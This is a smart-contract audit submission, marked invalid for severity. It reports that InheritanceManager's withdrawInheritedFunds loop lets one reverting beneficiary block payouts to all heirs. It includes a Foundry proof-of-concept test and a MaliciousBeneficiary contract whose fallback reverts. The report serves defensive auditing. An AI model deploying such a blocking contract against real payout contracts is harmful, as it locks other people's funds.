Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Transaction Blocking by Malicious Beneficiary

Summary

In src/InheritanceManager.sol, the withdrawInheritedFunds function sends amountPerBeneficiary to each beneficiary in a loop. However, if one of the beneficiaries intentionally reverts the transaction (e.g., via a fallback function), it will block the entire distribution, preventing all beneficiaries from receiving their share of the assets.

Vulnerability Details

In InheritanceManager.sol#L236, the contract sends ETH or ERC20 tokens to each beneficiary using a passive distribution method. If a malicious beneficiary intentionally reverts, the entire loop fails, blocking payments to all beneficiaries.

Here is the affected code:

function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
address payable beneficiary = payable(beneficiaries[i]);
(bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
require(success, "something went wrong");
}
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
IERC20(_asset).safeTransfer(beneficiaries[i], amountPerBeneficiary);
}
}
}

PoC

The following test case demonstrates how a malicious beneficiary can block the withdrawal process:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract InheritanceManagerTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
}
function test_MaliciousBeneficiaryBlocksAll() public {
MaliciousBeneficiary malicious;
malicious = new MaliciousBeneficiary();
vm.startPrank(owner);
im.addBeneficiery(user1);
im.addBeneficiery(payable(address(malicious)));
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 1e18);
vm.warp(1 + 90 days); // Trigger inheritance period
vm.startPrank(user1);
im.inherit();
// This will fail because of the malicious beneficiary
vm.expectRevert("something went wrong");
im.withdrawInheritedFunds(address(0));
vm.stopPrank();
// Confirm no one received their share
assertEq(user1.balance, 0);
assertEq(address(malicious).balance, 0);
}
}
contract MaliciousBeneficiary {
// This fallback will revert any received ETH
fallback() external payable {
revert("Blocked transfer");
}
}

Impact

  • Funds Lockup: A malicious beneficiary can prevent all other beneficiaries from receiving their rightful share.

  • Denial of Service (DoS): Any beneficiary with a reverting fallback can block withdrawals indefinitely.

  • Broken Functionality: The inheritance process becomes unusable, as no funds can be distributed.

Tools Used

  • Manual code review

  • Foundry for Solidity testing

Recommendations

Change from Passive to Active Distribution:

Instead of forcing payment during the loop (passive model), allow each beneficiary to claim their portion (active model). This prevents one malicious actor from blocking others.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.